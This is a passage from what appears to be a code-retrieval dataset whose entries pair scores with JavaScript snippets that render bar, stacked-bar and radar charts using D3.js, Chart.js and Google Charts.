d3.selectAll(\"#barCircles\");\n let margin = {top: 40, right: 40, bottom: 40, left: 40};\n let width = 1290 - margin.left - margin.right;\n for (let i = 0; i < circles._groups[0].length; i++) {\n let y = circles._groups[0][i].getAttribute(\"cy\");\n d3.select(\"#heatMap svg\").insert(\"rect\", \":first-child\")\n .attr(\"x\", 45)\n .attr(\"y\", parseInt(y) + 35)\n .attr(\"height\", \"20px\")\n .attr(\"width\", width)\n .attr(\"class\", \"highlightBar\")\n .style(\"opacity\", \"0.5\")\n .style(\"fill\", \"#f4f4f4\");\n }\n}", "title": "" }, { "docid": "6232ba137e1589f7cee85e4b5534ef02", "score": "0.58864516", "text": "function bar(d) {\n var bar = svg.insert(\"g\", \".y.axis\")\n .attr(\"class\", \"enter\")\n .attr(\"transform\", \"translate(0,5)\")\n .selectAll(\"g\")\n .data(d.children)\n .enter().append(\"g\")\n .style(\"cursor\", function(d) { return !d.children ? null : \"pointer\"; })\n .on(\"click\", down);\n\n bar.append(\"text\")\n .attr(\"x\", -12)\n .attr(\"y\", barHeight / 2)\n .attr(\"dy\", \".2em\")\n .style(\"text-anchor\", \"end\")\n .style(\"font-size\", \"0.7rem\")\n .text(function(d) { return d.data.name; });\n\n bar.append(\"text\")\n .attr(\"x\", -12)\n .attr(\"y\", barHeight/2)\n .style(\"text-anchor\", \"end\")\n .style(\"font-size\", \"0.58rem\")\n .attr(\"dy\", \".2em\")\n .text(function(d) { return d.data.subtitle; });\n\n bar.append(\"rect\")\n .attr(\"width\", function(d) { return x(d.value); })\n .attr(\"height\", barHeight);\n\n return bar;\n }", "title": "" }, { "docid": "a2dfe9830569d8d8f56c8a3cdfa2f109", "score": "0.5884454", "text": "function makeBarSing(ctx) {\n myChart = new Chart(ctx, {\n type: \"bar\",\n data: {\n labels: [\"2003\", \"2004\", \"2005\", \"2006\", \"2007\", \"2008\", \"2009\",\n \"2010\", \"2011\", \"2012\", \"2013\", \"2014\", \"2015\", \"2016\"],\n datasets: [{\n label: '# in ' + statName[0],\n data: selectData,\n borderColor: cols[0],\n backgroundColor: cols[0],\n borderWidth: 1\n }]\n },\n options: {\n title: {\n display: true,\n padding: 1,\n text: $(\"#crimeDd option:selected\").text()\n },\n responsive: true,\n maintainAspectRatio: false,\n scales: {\n yAxes: [{\n ticks: {\n beginAtZero:true\n }\n }],\n xAxes: [{\n stacked: true\n }]\n },\n tooltips: {\n mode: \"index\",\n intersect: false\n }\n }\n });\n}", "title": "" }, { "docid": "230c94b5d6eff11d40e9c6b552b8b61f", "score": "0.588232", "text": "function createStackbar() {\n var wStack = d3.select(\"#step1stack\").node().getBoundingClientRect().width;\n var hStack = 600;\n\n var svg = d3.select(\"#step1stack\").append(\"svg\").attr(\"width\", wStack).attr(\"height\", hStack);\n\n var padStack = 5;\n var botStack = 150;\n var leftStack = 80;\n var topStack = 20;\n\n var empColor = \"#D1D1D1\";\n var busColor = \"#666\";\n\n // Check show/hide CBD\n if (showCBD) {\n var step1data_data = step1data;\n } else {\n // Hide CBD\n var step1data_data = step1data.slice();\n step1data_data.shift();\n }\n\n // Add stacked bar chart\n var l_converter = d3.scale.linear().domain([0, d3.max(step1data_data, function (d) {\n return d.total;\n })]).range([0, hStack - botStack - topStack]);\n\n var barWidth = (wStack - leftStack) / step1data_data.length - padStack;\n\n // Add axis\n var xScale = d3.scale.ordinal().domain(d3.map(step1data_data, function (d) {\n return d.areaname;\n }).keys()).rangePoints([0, wStack - leftStack - barWidth]);\n\n var yScale = d3.scale.linear().domain([1, d3.max(step1data_data, function (d) {\n return d.total;\n })]).range([hStack, botStack + topStack]);\n\n var xAxis = d3.svg.axis().orient(\"bottom\").scale(xScale);\n\n var yAxis = d3.svg.axis().orient(\"left\").scale(yScale);\n\n var xAxisG = d3.svg.axis().orient(\"bottom\").scale(xScale);\n\n var yAxisG = d3.svg.axis().orient(\"left\").scale(yScale);\n\n // Draw background grid\n svg.append(\"rect\").attr(\"class\", \"gridbg\").attr(\"fill\", \"#FAFAFA\").attr(\"width\", wStack - leftStack).attr(\"height\", hStack - botStack).attr(\"transform\", \"translate(\" + (leftStack - 5) + \",\" + 0 + \")\");\n\n // add the X gridlines\n svg.append(\"g\").attr(\"class\", \"grid\").attr(\"transform\", \"translate(\" + (leftStack + barWidth) + \",\" + (hStack - botStack) + \")\").call(xAxisG.tickSize(-hStack).tickFormat(\"\"));\n\n // add the Y gridlines\n svg.append(\"g\").attr(\"class\", \"grid\").attr(\"transform\", \"translate(\" + leftStack + \",\" + -botStack + \")\").call(yAxisG.tickSize(-wStack).tickFormat(\"\"));\n\n svg.append(\"g\").attr(\"class\", \"xaxeStack\") // give it a class so it can be used to select only xaxis labels below\n .attr(\"transform\", \"translate(\" + (leftStack + barWidth / 2) + \",\" + (hStack - botStack + 5) + \")\").call(xAxis);\n\n svg.append(\"g\").attr(\"class\", \"yaxeStack\").attr(\"transform\", \"translate(\" + (leftStack - 5) + \",\" + -botStack + \")\").call(yAxis);\n\n // Style the axis\n svg.selectAll(\".xaxeStack text\") // select all the text elements for the xaxis\n .attr(\"transform\", function (d) {\n return \"translate(\" + (this.getBBox().height * -2 + 10) + \",\" + (this.getBBox().height - 10) + \")rotate(-45)\";\n }).attr(\"font-size\", 20);\n\n svg.selectAll(\".xaxeStack text, .yaxeStack text\").attr(\"fill\", \"#666\");\n\n // Tooltip\n var tooltip = d3.select(\"body\").append(\"div\").attr(\"class\", \"tooltip\").style(\"opacity\", 0);\n\n // Draw Graph\n var empgroup = svg.append(\"g\").attr(\"class\", \"empbar\");\n var empbar = svg.select(\".empbar\").selectAll(\"rect\").data(step1data_data);\n var estgroup = svg.append(\"g\").attr(\"class\", \"estbar\");\n var estbar = svg.select(\".estbar\").selectAll(\"rect\").data(step1data_data);\n\n empbar.enter().append(\"rect\").attr(\"x\", function (d, i) {\n return i * ((wStack - leftStack) / step1data_data.length) + leftStack;\n }).attr(\"y\", hStack - botStack).attr(\"width\", barWidth).attr(\"height\", 0).attr(\"fill\", empColor).attr(\"stroke\", \"#ADADAD\").attr(\"opacity\", 0.8).transition(\"empenter\").duration(1000).attr(\"y\", function (d, i) {\n return hStack - l_converter(d.emp) - botStack;\n }).attr(\"height\", function (d, i) {\n return l_converter(d.emp);\n });\n\n estbar.enter().append(\"rect\").attr(\"x\", function (d, i) {\n return i * ((wStack - leftStack) / step1data_data.length) + leftStack;\n }).attr(\"y\", function (d, i) {\n return hStack - l_converter(d.emp) - botStack;\n }).attr(\"width\", barWidth).attr(\"height\", 0).attr(\"fill\", busColor).attr(\"stroke\", \"#ADADAD\").attr(\"opacity\", 0.8).transition(\"estenter\").duration(500).delay(1000).attr(\"y\", function (d, i) {\n return hStack - l_converter(d.emp) - l_converter(d.bus) - botStack;\n }).attr(\"height\", function (d, i) {\n return l_converter(d.bus);\n });\n\n // Add mouse interactions\n var step1mover = function step1mover(d) {\n // Show tooltip\t\t\n tooltip.transition(\"st1tooltip\").duration(200).style(\"opacity\", .9);\n // Set data in tooltip\t\n tooltip.html(\"Employment: \" + numberWithCommas(d.emp)).style(\"left\", function () {\n return d3.event.pageX + \"px\";\n }).style(\"top\", function () {\n return d3.event.pageY - 30 + \"px\";\n });\n // Highlight the current link\n d3.select(this).attr(\"opacity\", 1);\n };\n\n var step1moverBus = function step1moverBus(d) {\n // Show tooltip\t\t\n tooltip.transition(\"st1movebus\").duration(200).style(\"opacity\", .9);\n // Set data in tooltip\t\n tooltip.html(\"Business: \" + numberWithCommas(d.bus)).style(\"left\", function () {\n return d3.event.pageX + \"px\";\n }).style(\"top\", function () {\n return d3.event.pageY - 30 + \"px\";\n });\n // Highlight the current link\n d3.select(this).attr(\"opacity\", 1);\n };\n\n var step1mout = function step1mout(d) {\n // Hide tooltip\n tooltip.transition(\"st1mout\").duration(500).style(\"opacity\", 0);\n // Cancel highlight\n d3.select(this).attr(\"opacity\", 0.8);\n };\n\n var step1mmov = function step1mmov(d) {\n tooltip.style(\"left\", d3.event.pageX + \"px\").style(\"top\", d3.event.pageY - 30 + \"px\");\n };\n\n empbar.on(\"mouseover\", step1mover).on(\"mouseout\", step1mout).on(\"mousemove\", step1mmov);\n\n estbar.on(\"mouseover\", step1moverBus).on(\"mouseout\", step1mout).on(\"mousemove\", step1mmov);\n\n // Add Axis Label\n svg.append(\"text\").attr(\"transform\", \"translate(10, \" + (hStack - botStack) / 2 + \") rotate(-90)\").attr(\"font-size\", \"12px\").text(\"Number of people\");\n\n // Add Legend\n var legendList = [{ \"name\": \"Employment\", \"color\": empColor }, { \"name\": \"Business\", \"color\": busColor }];\n\n svg.append(\"g\").attr(\"class\", \"legendOrdinal\").attr(\"transform\", \"translate(\" + (wStack - 100) + \",0)\");\n\n svg.select(\".legendOrdinal\").call(function (thisele) {\n thisele.selectAll(\"rect\").data(legendList).enter().append(\"rect\").attr(\"width\", 12).attr(\"height\", 12).attr(\"x\", 0).attr(\"y\", function (d, i) {\n return i * 18 + 5;\n }).attr(\"fill\", function (d, i) {\n return d.color;\n });\n\n thisele.selectAll(\"text\").data(legendList).enter().append(\"text\").text(function (d, i) {\n return d.name;\n }).attr(\"x\", 18).attr(\"y\", function (d, i) {\n return i * 18 + 15;\n }).attr(\"font-size\", \"12px\").attr(\"fill\", \"#666\");\n });\n\n // End function createStackbar\n}", "title": "" }, { "docid": "120dc9f5302197fa111cf6c6364552f5", "score": "0.5876016", "text": "prepareBasicBarGraph(spec, data) {\r\n /** Basic graph tool tip visibility check */\r\n if (spec.showToolTip) {\r\n if (this.barMarks && this.barMarks.encode && this.barMarks.encode.update) {\r\n this.barMarks.encode.update['tooltip'] = {\r\n 'signal': `{\\\"${this.xAxisField}\\\": ''+datum[\\\"${this.xAxisField}\\\"], \\\"${this.yAxisField}\\\": format(datum[\\\"${this.yAxisField}\\\"], \\\"\\\")}`\r\n };\r\n }\r\n }\r\n /** Basic graph legend check */\r\n if (spec.showLegend) {\r\n this.barLegend = [{\r\n 'title': spec.legendTitle,\r\n 'orient': spec.legendOrient,\r\n 'direction': spec.legendDirection,\r\n 'fill': 'color',\r\n 'gradientLength': { 'signal': 'clamp(height, 64, 200)' },\r\n 'symbolType': 'square'\r\n }];\r\n }\r\n /** Basic graph tool tip orientation check */\r\n if (spec.orientation === 'horizontal') {\r\n this.barScales = [\r\n {\r\n 'name': 'yscale',\r\n 'type': 'band',\r\n 'domain': { 'data': this.dataField, 'field': this.xAxisField },\r\n 'range': 'height',\r\n 'paddingOuter': 0.2,\r\n 'paddingInner': 0.1,\r\n 'reverse': true\r\n },\r\n {\r\n 'name': 'xscale',\r\n 'domain': { 'data': this.dataField, 'field': this.yAxisField },\r\n 'nice': true,\r\n 'range': [0, { 'signal': 'width' }],\r\n },\r\n {\r\n 'name': 'color',\r\n 'type': 'ordinal',\r\n 'domain': [spec.xaxis],\r\n 'range': [this.barConfig.barColourScheme[0]]\r\n }\r\n ];\r\n this.barAxes = [\r\n { 'orient': 'bottom', 'scale': 'xscale', 'title': spec.xaxis, 'grid': true },\r\n { 'orient': 'left', 'scale': 'yscale', 'title': spec.yaxis }\r\n ];\r\n this.barMarks = {\r\n 'type': 'rect',\r\n 'from': { 'data': this.dataField },\r\n 'encode': {\r\n 'update': {\r\n 'fill': { 'value': this.barConfig.barColourScheme[0] },\r\n 'fillOpacity': { 'value': 1 },\r\n 'y': { 'scale': 'yscale', 'field': this.xAxisField },\r\n 'height': { 'scale': 'yscale', 'band': 1 },\r\n 'x': { 'scale': 'xscale', 'field': this.yAxisField },\r\n 'x2': { 'scale': 'xscale', 'value': 0 }\r\n },\r\n 'hover': {\r\n 'fillOpacity': { 'value': 0.7 }\r\n }\r\n }\r\n };\r\n if (spec.showToolTip) {\r\n if (this.barMarks && this.barMarks.encode && this.barMarks.encode.update) {\r\n this.barMarks.encode.update['tooltip'] = {\r\n 'signal': `{\\\"${this.xAxisField}\\\": ''+datum[\\\"${this.xAxisField}\\\"], \\\"${this.yAxisField}\\\": format(datum[\\\"${this.yAxisField}\\\"], \\\"\\\")}`\r\n };\r\n }\r\n }\r\n }\r\n this.barGraphData.data = data;\r\n }", "title": "" }, { "docid": "c900b8c654405bc90d345d392bd60f4b", "score": "0.5875346", "text": "function drawChart() {\n var data = google.visualization.arrayToDataTable([\n ['Languages', 'Python', 'Java', 'Swift', 'Haskell',\n 'HTML/JS/CSS', 'Ruby', 'Racket', { role: 'annotation' } ],\n ['2018', 100, 0, 0, 0, 0, 0, 0, ''],\n ['2019', 45, 0, 0, 45, 0, 10, 0, ''],\n ['2020', 15, 60, 0, 0, 10, 15, 0, ''],\n ['2021', 0, 20, 30, 0, 20, 0, 30, '']\n ]);\n\n var options_fullStacked = {\n isStacked: 'percent',\n height: 300,\n legend: {position: 'top', maxLines: 3},\n hAxis: {\n minValue: 0,\n ticks: [0, .3, .6, .9, 1]\n }\n };\n\n const chart = new google.visualization.BarChart(\n document.getElementById('chart-container'));\n chart.draw(data, options_fullStacked);\n}", "title": "" }, { "docid": "10961de22979005643598e53f4a3dd26", "score": "0.58736694", "text": "function DrawBar(elemento,valor,tipo) {\r\n\r\n\t/* Select the 2 bars */\r\n\tlleno = elemento.getElementsByTagName(\"div\")[0];\r\n\tvacio = elemento.getElementsByTagName(\"div\")[1];\r\n\r\n\t/* Get the height and width of the main bar */\r\n\tanchura = parseInt(window.getComputedStyle(elemento).getPropertyValue('width'));\r\n\taltura = parseInt(window.getComputedStyle(elemento).getPropertyValue('height'));\r\n\t\r\n\tif (tipo == 0){\t/* Horizontal */\r\n\t\r\n\t\tvalor = anchura*valor/100;\r\n\t\t\t\r\n\t\tlleno.style.height = altura.toString()+\"px\";\r\n\t\tvacio.style.height = altura.toString()+\"px\";\r\n\t\t\r\n\t\tvacio.style.left = valor.toString()+\"px\";\t\r\n\t\tlleno.style.width = valor.toString()+\"px\";\r\n\t\tvacio.style.width = (anchura-valor).toString()+\"px\";\r\n\r\n\t\r\n\t}\r\n\tif (tipo == 1){\t/* Vertical */\r\n\t\r\n\t\tvalor = altura*valor/100;\t\r\n\t\tvacio.style.top = valor.toString()+\"px\";\t\r\n\t\tlleno.style.height = valor.toString()+\"px\";\r\n\t\tvacio.style.height = (altura-valor).toString()+\"px\";\r\n\t\t\r\n\t\tlleno.style.width = anchura.toString()+\"px\";\r\n\t\tvacio.style.width = anchura.toString()+\"px\";\r\n\t\r\n\t}\t\r\n}", "title": "" }, { "docid": "af9404bf7c4737c72d4ddb1432142595", "score": "0.58691144", "text": "function getBarsData(){\n var numOfBars = 11;\n var barHeight = 0;\n var paddingRight = 0;\n for (barIndex = 0; barIndex < numOfBars; barIndex++){\n\n //Get the height\n barHeight = Math.floor(Math.random() * (500 - 150 + 1)) + 150;\n marginRight = Math.floor(Math.random() * (12 - 3 + 1)) + 3;\n\n //Get the margin\n var barHeightToString = (barHeight.toString() + \"px\");\n var marginRightToString = (marginRight.toString() + \"px\");\n \n //Get the color\n var colorIndex = Math.floor(Math.random() * ((colors.length - 1) - 0 + 1)) + 0;\n var color = colors[colorIndex];\n\n //Load the bars variable\n var temp = new Bar(barHeightToString,marginRightToString,color);\n bars.push(temp);\n \n //Set the outer divs for each bar\n var leftBarDOM = document.getElementById(\"LeftBar\" + barIndex.toString());\n leftBarDOM.style.height = barHeightToString;\n leftBarDOM.style.marginRight = marginRightToString;\n \n var rightBarIndex = numOfBars - barIndex - 1;\n var rightBarDOM = document.getElementById(\"RightBar\" + rightBarIndex.toString());\n rightBarDOM.style.height = barHeightToString;\n rightBarDOM.style.marginLeft = marginRightToString;\n \n //Set the colors of each bar\n var leftColorBarDOM = document.getElementById(\"LeftColorBar\" + barIndex.toString());\n var rightColoBarDOM = document.getElementById(\"RightColorBar\" + rightBarIndex.toString());\n leftColorBarDOM.style.backgroundColor = bars[barIndex].color;\n rightColoBarDOM.style.backgroundColor = bars[barIndex].color;\n }\n}", "title": "" }, { "docid": "88778d705f59884d08c06d1cbe522dfa", "score": "0.5865837", "text": "function refreshBar(){\n d3.selectAll(\"#bar g.regional\").remove();\n d3.selectAll(\"#bar g.major\").remove();\n d3.selectAll(\"#bar circle\").remove();\n d3.selectAll(\"#bar rect\").remove();\n d3.selectAll(\"#bar polygon\").remove();\n d3.selectAll(\"#bar text\").remove();\n d3.selectAll(\"#bar path\").remove();\n}", "title": "" }, { "docid": "d1ff1f9c6b60125dbc9532862ca5a2a4", "score": "0.5865182", "text": "function d3barchart(zip) {\r\n var w = 20, h = 100;\r\n\r\n var barArray = [];\r\n\r\n for (c in complaints) {\r\n\tif (pdata[zip][complaints[c]] != undefined) {\r\n\t barArray.push({\r\n\t\tkey: complaints[c],\r\n\t\tvalue: pdata[zip][complaints[c]]\r\n\t });\r\n\t} else {\r\n\t barArray.push({\r\n\t\tkey: complaints[c],\r\n\t\tvalue: 0\r\n\t });\r\n\t}\r\n }\r\n\r\n var barArray = barArray.sort(function(a,b){return b.value - a.value});\r\n var vals = barArray.map(function(o){return o.value});\r\n var labels = barArray.map(function(o){return o.key});\r\n\r\n var max = d3.max(vals);\r\n var y = d3.scale.linear().domain([0, max]).range([0,100]);\r\n var x = d3.scale.ordinal().domain(labels).rangePoints([0,labels.length-1]);\r\n\r\n var colorInd = 4;\r\n\r\n if ($(\".chart\").length == 0) {\r\n\tvar chart = d3.select(\"#sidebar\").append(\"svg\")\r\n\t .attr(\"class\",\"chart\")\r\n\t .attr(\"height\",\"400\")\r\n\t .attr(\"width\", 40*barArray.length+100);\r\n\r\n\tvar node = chart.selectAll(\"g\")\r\n\t .data(barArray,function(d) { return d.key; })\r\n\t .enter()\r\n\t .append(\"g\");\r\n\r\n\tnode.append(\"rect\")\r\n\t .attr(\"fill\",active_colors[colorInd])\r\n\t .attr(\"x\", function(d,i){return x(i)*40+20; })\r\n\t .attr(\"height\", function(d) {return y(d.value)})\r\n\t .attr(\"y\", function(d) {return 100 - y(d.value)})\r\n\t .attr(\"width\", 40);\r\n\t\r\n\tnode.append(\"text\")\r\n\t .text(function(d) { return d.value; })\r\n\t .attr(\"fill\",function(d) {\r\n\t\tif (y(d.value) > 18) {\r\n\t\t return \"#ffffff\";\r\n\t\t} else {\r\n\t\t return active_colors[colorInd];\r\n\t\t}\r\n\t })\r\n\t .attr(\"y\", function(d) {\r\n\t\tif (y(d.value) > 18) {\r\n\t\t return 113 - y(d.value);\r\n\t\t} else {\r\n\t\t return 99 - y(d.value);\r\n\t\t}\r\n\t })\r\n\t .attr(\"class\", function(d) {\r\n\t\tif (y(d.value) > 18) {\r\n\t\t return \"value white\";\r\n\t\t} else {\r\n\t\t return \"value color\";\r\n\t\t}\r\n\t })\r\n\t .attr(\"x\", function(d,i){return x(i)*40+24});\r\n\r\n\tnode.append(\"text\")\r\n\t .text(function(d) { return d.key; })\r\n\t .attr(\"class\",\"label\")\r\n\t .attr(\"y\", 105)\r\n\t .attr(\"x\", function(d,i){return x(i)*40+35})\r\n\t .attr(\"transform\", function(d,i){\r\n\t\tvar str = \"rotate(90 \";\r\n\t\tstr = str + String(x(i)*40+35);\r\n\t\tstr = str + \",105)\";\r\n\t\treturn str;\r\n\t });\r\n } else {\r\n\tvar chart = d3.select(\"#sidebar\");\r\n\t\r\n\tvar node = chart.selectAll(\"g\")\r\n\t .data(barArray,function(d) { return d.key; });\r\n\t\r\n\tnode.selectAll(\"rect\")\r\n\t .data(barArray,function(d) { return d.key; })\r\n\t .transition()\r\n\t .duration(1000)\r\n\t .attr(\"fill\",active_colors[colorInd])\r\n\t .attr(\"x\", function(d,i){ return x(d.key)*40+20; })\r\n\t .attr(\"height\", function(d) { return y(d.value) })\r\n\t .attr(\"y\", function(d) {return 100 - y(d.value)});\r\n\r\n\tnode.selectAll(\".value\")\r\n\t .data(barArray,function(d) { return d.key; })\r\n\t .transition()\r\n\t .duration(1000)\r\n\t .text(function (d) {console.log(d.value); return d.value; })\r\n\t .attr(\"fill\",function(d) {\r\n\t\tif (y(d.value) > 18) {\r\n\t\t return \"#ffffff\";\r\n\t\t} else {\r\n\t\t return active_colors[colorInd];\r\n\t\t}\r\n\t })\r\n\t .attr(\"y\", function(d) {\r\n\t\tif (y(d.value) > 18) {\r\n\t\t return 113 - y(d.value);\r\n\t\t} else {\r\n\t\t return 99 - y(d.value);\r\n\t\t}\r\n\t })\r\n\t .attr(\"class\", function(d) {\r\n\t\tif (y(d.value) > 18) {\r\n\t\t return \"value white\";\r\n\t\t} else {\r\n\t\t return \"value color\";\r\n\t\t}\r\n\t })\r\n\t .attr(\"x\", function(d,i){ return x(d.key)*40+24; });\r\n\r\n\tnode.selectAll(\".label\")\r\n\t .data(barArray,function(d) { return d.key; })\r\n\t .transition()\r\n\t .duration(1000)\r\n\t .attr(\"x\", function(d,i){return x(d.key)*40+35})\r\n\t .attr(\"transform\", function(d,i){\r\n\t\tvar str = \"rotate(90 \";\r\n\t\tstr = str + String(x(d.key)*40+35);\r\n\t\tstr = str + \",105)\";\r\n\t\treturn str;\r\n\t });\r\n }\r\n\r\n d3.select(\"#bar-zip-label\").transition().style(\"color\",\"white\")\r\n\t.transition().delay(500).text(zip).style(\"color\",\"#555555\");\r\n\r\n $(\"g\").hover(barIn,barOut);\r\n $(\"g\").click(barClick);\r\n}", "title": "" }, { "docid": "6a7e592ef85be32a213b46d07d2e7d9c", "score": "0.5865087", "text": "updateBarChart() {\n let that = this;\n // Option 1: rescale y axis according to max for each year\n // let cropElementMax =\n // that.data.max_element_vals_for_each_crop[that.cropVis.selected_crop][\"Production\"][\"y\" + String(that.cropVis.active_year)];\n\n // Option 2: have static y axis with max of all years\n // Find the max production for the selected crop over all years\n let years = that.data.max_element_vals_for_each_crop[that.cropVis.selected_crop][\"Production\"];\n let cropElementMax = 0;\n for (let year in years) {\n let thisValue = +years[year];\n if (thisValue > cropElementMax) {\n cropElementMax = thisValue;\n }\n }\n let barScale = d3.scaleLinear().domain([0, cropElementMax]).range([0, that.maxBarHeight]).nice();\n let axisScale = d3.scaleLinear().domain([0, cropElementMax]).range([that.maxBarHeight, 0]).nice();\n that.deleteBarChart();\n // For displaying units in scientific notation\n let unitCompressionFactor = (10 ** (String(Math.trunc(cropElementMax)).length - 1));\n let barAxis = d3.axisLeft()\n .scale(axisScale).tickFormat(function (d, i) {\n return d / (unitCompressionFactor);\n });\n d3.select(\"#bar_chart_svg\")\n .append(\"text\")\n .text(\"Units: \" + unitCompressionFactor.toExponential() + \" tonnes\")\n .attr(\"x\", 30)\n .attr(\"y\", 9)\n .attr(\"id\", \"barUnitsKey\");\n d3.select(\"#bar_chart_svg\")\n .append(\"g\")\n .attr(\"transform\", \"translate(30,10)\")\n .attr(\"id\", \"barAxis\")\n .call(barAxis);\n let rectSelection = d3.select(\"#bar_chart_svg\")\n .selectAll(\".barGroup\")\n .data([...this.cropVis.selected_countries]) // Unpack set into list so that data can be bound to it\n .enter()\n .append(\"g\")\n .classed(\"barGroup\", true)\n .attr(\"transform\", function (d, i) {\n return \"translate(\" + (i * (that.barWidth + that.barSpacing) + that.leftMargin) + \",\" + 10 + \")\";\n });\n rectSelection\n .append(\"text\")\n .attr(\"y\", that.maxBarHeight + 15) // Place text under bars\n .classed(\"barLabel\", true)\n .text(d => d);\n rectSelection\n .append(\"rect\")\n .attr(\"id\", d => d.replace(/ /g, \"_\") + \"_rect\")\n .attr(\"x\", 0)\n .attr(\"y\", function (d, i) {\n let height = 0;\n try {\n height = that.data.countries[d][that.cropVis.selected_crop][\"Production\"][\"y\" + String(that.cropVis.active_year)];\n }\n catch { // I don't have data for country d so default to 0\n }\n if (Number.isNaN(height) || height == \"\" || height == undefined) { // There is no data for this country/crop/element/year combination\n return 0;\n }\n else {\n return that.maxBarHeight - barScale(height); // To account for coordinate system starting at top left\n }\n })\n .attr(\"width\", that.barWidth)\n .attr(\"height\", function (d, i) {\n try {\n return barScale(that.data.countries[d][that.cropVis.selected_crop][\"Production\"][\"y\" + String(that.cropVis.active_year)]);\n }\n catch {\n return 0;\n }\n })\n .classed(\"bar\", true)\n .style(\"fill\", function (d, i) {\n return that.cropVis.worldMap.selectedCountryColorScheme(i + 1);\n })\n .style(\"opacity\", 0.9)\n .append(\"title\")\n .text(function (d) {\n return Math.round(that.data.countries[d][that.cropVis.selected_crop][\"Production\"][\"y\" + String(that.cropVis.active_year)]) + \" tonnes\";\n });\n }", "title": "" }, { "docid": "59ca76be486dc4d8aef7d6988e1b683e", "score": "0.58638537", "text": "function BarChart(info) {\n // campi dati di un bar chart e valori di default\n this._axisX = null;\n this._axisY = null;\n this._barOrientation = 'V';\n this._headers = [];\n this._background = '#FFF';\n this._sortable = true;\n this._groupingControl = true;\n this._legendOnPoint = false;\n this._horizontalGrid = false;\n this._graph = GraphFactory.build(info);\n }", "title": "" }, { "docid": "59ca76be486dc4d8aef7d6988e1b683e", "score": "0.58638537", "text": "function BarChart(info) {\n // campi dati di un bar chart e valori di default\n this._axisX = null;\n this._axisY = null;\n this._barOrientation = 'V';\n this._headers = [];\n this._background = '#FFF';\n this._sortable = true;\n this._groupingControl = true;\n this._legendOnPoint = false;\n this._horizontalGrid = false;\n this._graph = GraphFactory.build(info);\n }", "title": "" }, { "docid": "9f23ea661a9f43c29e566ff2b31742d2", "score": "0.5862989", "text": "function radarChart() {\n let width = 600,\n height = 400,\n radius = 150,\n axisInnerPad = 20,\n axisOuterPad = 30,\n textPad = 20,\n legendWidth = 180,\n legendPad = 10,\n idFun = (d, i) => i;\n\n let showAxisLabels = true,\n showLegend = true;\n\n let axes = [];\n \n let svgWidth = showLegend ? width + legendWidth : width;\n\n function chart(selection) {\n selection.each((data, i, nodes) => {\n\n let container = d3.select(nodes[i]);\n\n // create svg if it does not exist\n let svgEnter = container.selectAll(\"svg\")\n .data([data])\n .enter()\n .append(\"svg\");\n \n let svg = container.selectAll(\"svg\")\n .attr(\"width\", svgWidth)\n .attr(\"height\", height); \n \n let mainAreaEnter = svg.selectAll(\".chartContainer\")\n .data([data])\n .enter()\n .append(\"g\")\n .attr(\"class\", \"chartContainer\");\n \n let mainArea = svg.selectAll(\".chartContainer\")\n .attr(\"transform\", \"translate(\" + 0 + \",\" + 0 + \")\"); \n\n \n // Data process\n // ---------------------------------------------------------\n\n var dataInput = data;\n\n var arr = [];\n if (axes.length>0)\n var axisKeys = axes;\n else\n var axisKeys = Object.keys(dataInput[0]);\n\n for (var i=0; i<dataInput.length; i++){\n arr.push([]);\n for (var j=0; j<axisKeys.length; j++){\n arr[i].push({\n axisTitle: axisKeys[j],\n value: dataInput[i][axisKeys[j]]\n });\n }\n }\n \n data = arr;\n\n var values = [];\n for (var i=0; i<data.length; i++){\n for (var j=0; j<axisKeys.length; j++){\n values.push(data[i][j].value);\n }\n } \n var maxValue = d3.max(values);\n\n // Scales\n // ---------------------------------------------------------\n \n let angleScale = d3.scaleBand()\n .domain(data[0].map(d => d.axisTitle))\n .range([0, 2 * Math.PI]);\n \n let valScale = d3.scaleLinear()\n .domain([0, maxValue])\n .range([axisInnerPad, radius - axisOuterPad]);\n \n function colorScale(d){\n var color = d3.schemeCategory10;\n return color[d]; \n } \n\n // Utility functions\n // ---------------------------------------------------------\n\n function axisXFun(d, pad) {\n return width / 2 + (radius + pad) * Math.cos(angleScale(d.axisTitle));\n }\n\n function axisYFun(d, pad) {\n return height / 2 + (radius + pad) * Math.sin(angleScale(d.axisTitle));\n }\n \n\n // Axes\n // ---------------------------------------------------------\n\n var axisLines = mainArea.selectAll(\".axisLine\"); \n \n axisLines\n .data(data[0])\n .enter()\n .append(\"line\")\n .attr(\"class\", \"axisLine\");\n\n var selectionAxisLines = svg\n .selectAll(\".axisLine\").data(data[0])\n .attr(\"class\", \"axisLine\") \n .attr(\"x1\", width / 2)\n .attr(\"y1\", height / 2)\n .attr(\"x2\", d => axisXFun(d, 0))\n .attr(\"y2\", d => axisYFun(d, 0))\n .attr(\"stroke\", \"darkgray\");\n\n selectionAxisLines.exit().remove(); \n \n \n // Axis labels\n // ---------------------------------------------------------\n \n if (showAxisLabels) {\n\n var labels = mainArea.selectAll(\".label\"); \n \n labels\n .data(data[0])\n .enter()\n .append(\"text\")\n .attr(\"class\", \"label\");\n\n var selectionLabels = svg\n .selectAll(\".label\").data(data[0])\n .attr(\"class\", \"label\") \n .attr(\"x\", d => axisXFun(d, textPad))\n .attr(\"y\", d => axisYFun(d, textPad))\n .text(d => d.axisTitle)\n .attr(\"text-anchor\", d => {\n let angle = angleScale(d.axisTitle) * 180 / Math.PI;\n if (angle < 45)\n return \"start\";\n else if (angle < 135)\n return \"middle\";\n else if (angle < 225)\n return \"end\";\n else if (angle < 315)\n return \"middle\";\n else\n return \"start\";\n })\n .attr(\"dominant-baseline\", d => {\n let angle = angleScale(d.axisTitle) * 180 / Math.PI;\n if (angle < 45)\n return \"central\";\n else if (angle < 135)\n return \"hanging\";\n else if (angle < 225)\n return \"central\";\n else if (angle < 315)\n return \"baseline\";\n else\n return \"central\";\n });\n\n selectionLabels.exit().remove(); \n\n }\n \n\n // Line contour\n // ---------------------------------------------------------\n\n var lineGen;\n var line; \n var selectionLine;\n\n lineGen = d3.lineRadial()\n .angle(d => angleScale(d.axisTitle) + Math.PI / 2)\n .radius(d => valScale(d.value))\n //.curve(d3.curveCatmullRom.alpha(0.5));\n\n line = mainArea.selectAll(\".radarLine\"); \n \n line\n .data(data)\n .enter()\n .append(\"path\")\n .datum(d => [...d, d[0]])\n .attr(\"class\", \"radarLine\");\n\n selectionLine = svg\n .selectAll(\".radarLine\")\n .datum(d => [...d, d[0]])\n .attr(\"class\", \"radarLine\") \n .attr(\"d\", lineGen)\n .attr(\"transform\", `translate(${width / 2} ${height / 2})`)\n .attr(\"stroke\", (d,i) => colorScale(i))\n .attr(\"fill\", \"transparent\");\n\n 